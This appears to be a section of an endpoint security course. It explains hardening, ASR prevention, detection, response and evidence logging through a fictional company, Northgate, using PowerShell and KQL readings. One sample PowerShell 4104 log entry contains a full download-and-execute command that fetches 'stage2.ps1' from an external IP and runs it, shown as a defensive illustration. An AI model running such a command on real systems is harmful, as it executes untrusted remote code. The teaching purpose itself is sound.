The Endpoint Security Stack

Introduction

Endpoint security is five layers, and the useful question is not what each one does but what happens when one is absent. Each absence produces a different and recognizable failure, so the symptom tells you which layer you are missing before you look at anything.

This section takes the layers one at a time and, for each, gives you the reading that establishes whether you have it. That distinction runs through the whole section: a layer you have licensed, a layer you have configured, and a layer that is in force are three different things, and only the last one is on the device.

You will finish able to place any product you own on a layer, name the layer that is carrying work belonging to another, and run the four readings that turn an impression of your estate into a written answer.

Hardening reduces what an attacker can reach before any attack starts. It is the only layer that makes every other layer's job smaller rather than adding to it: an unavailable technique generates no prevention event, no detection, no response and no investigation. It also comes with no vendor, no renewal and no dashboard, which is most of why it is deployed last.

Northgate is the ordinary case. The same local administrator password sits on all 865 endpoints, set during image deployment three years ago. When the operator dumped credentials on one laptop they obtained a hash that authenticates everywhere, which turns one compromised endpoint into 865. Windows LAPS gives each device its own rotated password, so the same theft yields exactly the machine it was stolen from.

The economics are worth stating plainly, because they are the argument you will actually have to make. LAPS is a component of Windows rather than a product: since the April 2023 update it ships in the operating system, it needs no agent installed, and it carries no license of its own beyond the Entra ID and Intune you already hold. On Windows 11 24H2 it can create and manage the local account itself. The work is a policy, a decision about where passwords are stored, and a conversation with whoever currently relies on that shared password.

PS C:\> Get-LapsAADPassword -DeviceIds NE-THOMPSON-LT

Get-LapsAADPassword : The device does not have a Windows LAPS password
stored in Microsoft Entra ID.

PS C:\> Get-CimInstance Win32_UserAccount -Filter "LocalAccount=True" |
            Select-Object Name, SID, PasswordChangeable

Name           SID                                            PasswordChangeable
----           ---                                            ------------------
Administrator  S-1-5-21-3402118710-2231847641-3287148573-500  True

The first command is the check and the second says what is there instead. A device with no stored password still uses whatever the image set, on an account ending in 500: the well-known administrator identifier, the same on every Windows machine ever built. An attacker does not have to guess which account to attack.

That is the real cost and it is worth planning for rather than discovering. Somebody uses that password: it is in a build script, a runbook, a technician's password manager, or the head of the person who images machines, and rotating it breaks whatever depended on it. Finding those dependencies before the rollout is a week of asking rather than a technical problem, and it is the entire reason a free control sits undeployed for years.

Hardening is broader than one control and the rest has the same shape: baselines that turn off protocols nobody uses, exploit protection mitigations already present in the operating system and switched off, and removing local administrator rights granted once for an installation. None has a purchase order attached, all reduce what the layers above handle, and every one is a negotiation rather than a configuration change.

Read the widths rather than the labels. Every layer is sized by what the one below it did not remove, so a thin hardening band makes every band above it wider and the estate experiences that as alert volume rather than as a hardening finding.

Attack surface reduction rules are the cheapest hardening available and the most commonly stalled. The standard deployment method is to run a rule in audit, read the events it would have blocked, build exclusions for the legitimate ones, and promote it. That cycle is correct, it is what module ES4 teaches in detail, and it is applied to rules that do not need it.

Microsoft names a small set as standard protection rules and states that these can go to block without an audit cycle: blocking abuse of exploited vulnerable signed drivers, blocking credential theft from the local security authority subsystem, and blocking persistence through WMI event subscription. The reason is that none of them constrains anything an ordinary business process does. The one caveat Microsoft attaches is worth carrying: Configuration Manager leans heavily on WMI, so an estate running it should audit the third rule rather than take it on trust.

This matters more than a shortcut usually would, because it removes the argument that stalls the whole layer. The reason ASR sits in audit is almost never a technical one; it is that the promotion needs somebody to accept risk, and nobody wants to be the person who broke finance. For these three the risk conversation is different: Microsoft is stating that the ordinary business does not do these things, so the exclusion work that stalls the other rules does not apply.

One interaction on that page confuses people and it is a layering lesson rather than a fault. Where LSA protection is already enabled on a device, the LSASS rule is reported as not applicable rather than as enabled or missing. Both controls address the same theft, the operating system's own protection is the stronger of the two, and the portal is telling you the rule has nothing left to do. An estate reading that as a coverage gap will spend effort re-enabling a rule it does not need.

PS C:\> $p = Get-MpPreference
PS C:\> for ($i=0; $i -lt $p.AttackSurfaceReductionRules_Ids.Count; $i++) {
            "{0}  {1}" -f $p.AttackSurfaceReductionRules_Actions[$i],
                           $p.AttackSurfaceReductionRules_Ids[$i] }

2  d4f940ab-401b-4efc-aadc-ad5f3c50688a
2  d1e49aac-8f56-4280-b9ba-993a6d77406c
1  56a863a9-875e-4185-98a7-b882c64b5ce5
0  e6db77e5-3df2-4cf1-b95a-636979351e5b

That is the reading to take on a device, and the action column is the whole answer: 1 is block, 2 is audit, 0 is disabled and 6 is warn. Two rules here are auditing, one is blocking and one has been explicitly turned off, which is a different state from never having been configured and usually means somebody hit a problem. Note also that a rule absent from the list is not disabled, it is unconfigured, and the two look identical in a compliance summary.

Prevention blocks a technique as it executes, which is the only layer that acts at zero delay. A macro blocked by ASR spawns no child process. Ransomware blocked on write encrypts no files. Nothing downstream has to be fast, because nothing downstream happens.

Its constraint is that it must not break the business, and every prevention control has a blast radius: a set of legitimate activities it might also stop. Office creating child processes is what several line-of-business applications do to launch helper processes. Application control breaks every new installation until the inventory is updated. Controlled folder access stops any application not on its list from writing to a protected directory, including the ones you bought.

That constraint is why estates stall, and the stall has a specific shape worth recognizing in your own. The rules are deployed, the audit events arrive, somebody notices that a few are legitimate, and the work of writing exclusions is never scheduled. The organization now reports ASR as deployed, it appears in the compliance pack, and prevention is zero. Every audit event in that state is a technique that ran successfully and was written down.

It is worth naming what makes the exclusion work hard, because "write some exclusions" understates it. An audit event tells you a rule would have fired on a process, and it does not tell you whether that process was legitimate. Deciding takes somebody who knows what the application is for, and that person is usually in a different team with different priorities. The engineering is easy and the organizational work is not, which is exactly why it slips.

Reading a configuration and judging it is the work this course is built around, so here is one to judge rather than a description of one. This is Northgate's ASR state four months after deployment, read back from a device and joined with its exclusion register, signed off as complete. Every fault in it is readable from the configuration alone, with no telemetry and no test machine.

Two things to carry out of that. An exclusion scoped to a directory rather than to an executable exempts anything an attacker writes there, and an exclusion is permanent unless somebody schedules its review, which nobody does. Module ES4 is where the promotion methodology lives, and it exists because this configuration is the normal outcome of good intentions rather than of neglect.

Detection identifies what prevention did not stop, and no prevention layer is ever complete, so this layer is not optional. The sensor records continuously and the built-in analytics catch commodity malware and documented tooling in its default configuration. What they do not catch is an operator using your own administrative tools in a pattern that is abnormal for your estate specifically, because nobody outside your organization knows what normal looks like there.

That gap is closed by custom detections, and writing them is engineering work that belongs to you. It is also the work most commonly absent: an estate can have the sensor on every endpoint, telemetry flowing, retention configured and not one rule written against any of it, and every report about it will be green, because the number those reports carry is coverage and coverage is satisfied by installation.

The relationship between this layer and the one below it decides where to spend next. Every rule promoted from audit to block removes work from here permanently. If Office cannot spawn PowerShell, no detection has to catch the PowerShell that would have followed, because it never ran. Prevention first is not a preference, it is arithmetic: a blocked technique costs one policy change, and a detected technique costs a rule, a tuning cycle, an alert and an analyst, every time it fires.

// What your prevention layer is doing: audited against blocked
DeviceEvents
| where Timestamp > ago(30d)
| where ActionType startswith "Asr"
| summarize Audited = countif(ActionType endswith "Audited"),
            Blocked = countif(ActionType endswith "Blocked")
            by ActionType
| sort by Audited desc

Run it against your own tenant and read the two columns against each other. Rows with a high audited count and a zero blocked count are the stall described above, expressed as data rather than as an opinion, and each row names the rule to take to a change board first. A row with neither is a rule nobody has triggered, which means either the technique is genuinely absent or the rule is not reaching the devices you think it is.

That second possibility is worth ruling out before you celebrate a quiet rule. A policy assigned to a group that a third of the estate is not in produces exactly the same silence as a technique nobody is attempting, and the two are distinguishable only by checking which devices the policy actually reached. This is the assignment gap that ES2 spends a module on, and it appears here because it disguises itself as good news.

Response is where speed is the whole value. A ransomware detection at minute one and an isolation at minute thirty is an isolation of an encrypted machine. The four actions available are isolation, which cuts the network while holding the management channel open so you can keep investigating; live response, which is a remote shell for collection and remediation; automated investigation, which acts on certain alert classes without a person; and custom indicators, which push a hash, address or certificate as a block across the whole fleet at once.

Isolation is the one people reach for and it is worth understanding precisely, because the version that keeps the management channel is not the version that cuts everything. Full isolation leaves the sensor talking to the service, so you can still collect, still run live response, and still watch what the machine does next. Selective isolation leaves defined applications reachable. The choice is a trade between containment and visibility, and cutting a machine off completely means the next thing you learn about it, you learn from somebody carrying it to a desk.

Three of those four are reversible, which is the argument for automating more of them than most organizations do. Live response is not: nothing done in a session appears in the Action center and nothing can be undone, which is why it is the one that needs a decision about who holds it rather than a decision about when to use it. None of the four is free, which is the argument for deciding in advance rather than at three in the morning. The decision is per alert class rather than per product: a high-confidence detection of a known ransomware family is a different automation candidate from a behavioral alert with a ten per cent false positive rate, and treating them alike is how an estate ends up either isolating finance at month end or automating nothing at all.

One more property separates this layer from the one above it, and it is the reason the two are worth keeping distinct on your own map. Detection is a capability you build once and it runs whether anybody is watching. Response is a capability that exists only at the moment somebody exercises it, so an estate can have every response action available, correctly licensed and never used, and nothing in any report will distinguish it from one that responds well. The measurement that does distinguish them is how long the last real containment took, which is a number most organizations have and few look at.

Module ES7 covers the confidence matrix behind those choices in detail. What belongs here is the boundary: response is what you can do in the next ten minutes, and everything it can do depends on evidence that either exists already or does not.

This layer prevents no attack and raises no alert. It is the configuration that decides whether, when the layers above have fired and contained, anybody can say what actually happened. It is also the most neglected, for the obvious reason that its value is invisible until the day the answer is needed, and by then the decision was made or it was not.

PowerShell is where the gap usually is, and the common statement of it is too absolute. At default settings the engine records that a session started and stopped, and it also records something more: PowerShell carries an internal list of suspicious constructs, and a script block matching one of them writes a warning-level 4104 event whether or not script block logging was ever enabled. So an unprepared estate is not blind, it holds an unreliable subset chosen by somebody else's keyword list.

Log Name:      Microsoft-Windows-PowerShell/Operational
Event ID:      4104
Level:         Warning
Computer:      NE-THOMPSON-LT.northgate.local
Description:
  Creating Scriptblock text (1 of 1):
  [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  $client = New-Object System.Net.WebClient
  $client.DownloadString('https://185.234.89.112/stage2.ps1') | Invoke-Expression

Read the level rather than the content. Warning is the flag the engine raises on its own, so this event would have been written on an endpoint with no logging policy at all. That is worth knowing when you inherit an estate and worth relying on never, because the coverage is whatever the keyword list happens to contain and an operator who avoids those constructs writes nothing.

There is a second property worth carrying into any investigation. Script block logging records what is handed to the engine at compile time, which is the obfuscated form, not a decoded one. When that obfuscated script decodes a string and runs it, the decoded content compiles as its own script block and produces its own separate 4104. The readable version is usually there; it is a second event rather than the same one, and an investigator reading only the first concludes the log is useless.

PS C:\> $k = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
PS C:\> Get-ItemProperty $k -ErrorAction SilentlyContinue |
            Select-Object EnableScriptBlockLogging

EnableScriptBlockLogging
------------------------

An empty value is the answer most estates return, and it is not the same as a zero. Nothing has been configured, the default applies, and the estate holds warning-level events only. Take this reading on a device rather than from a policy export, for the same reason as everything else in this section: the policy states what was asked for and the device states what is in force.

PowerShell is the common gap and it is not the only one. Process creation auditing records that a process started and, unless command-line capture is switched on separately, records nothing about what it was told to do, which reduces every process event to a name. Object access auditing is off by default, which is why the Northgate team could not say which files were opened. Each of those is a policy setting with a cost in event volume, and each is a decision somebody has to take in advance and defend against the storage bill.

The layers fail differently, which is what makes the symptom diagnostic. An estate with no hardening does not report a hardening problem; it reports a busy SOC, because everything hardening would have removed arrives at the layers above as work. An estate with prevention stuck in audit reports excellent visibility and a rising incident count, which reads as a detection success.

The scenario at the top of this section is the last row. Northgate detected the ransomware within the hour and contained it the same afternoon, so layers three and four worked. What failed was a set of decisions taken, or not taken, months earlier, and no amount of speed on the day could recover them.

Reading the table this way round is useful precisely because nobody reports a missing layer as a missing layer. The symptoms above are all things an organization does say out loud, in board papers and in post-incident reviews, and each of them is routinely attributed to the layer that was struggling rather than the one that was absent. An overwhelmed SOC gets more analysts. A rising incident count gets a better detection product. Neither purchase touches the layer that produced the volume.

The other use of it is planning. If you can name which row you are in, you can name the cheapest work that moves you out of it, and in four of the five rows that work is a configuration rather than a purchase.

The exception is the fourth row, and it is worth being honest that response speed is partly a staffing question rather than a configuration one. Automation moves some of it, and the rest is whether somebody is looking at three in the morning. That is a real budget conversation and it is the one row where the answer may legitimately be that you cannot fix it on this estate with the people you have.

The reason it is reasonable rather than careless is that the sensor genuinely is the layer that touches all five. It records for detection, it carries the response actions, and its telemetry is part of the evidence. Buying it and stopping is a defensible reading of what it does, right up to the first incident that needs any of the other four.

The next section turns those readings into the four numbers an endpoint security program is actually judged on, and shows which of them can be improved without improving anything.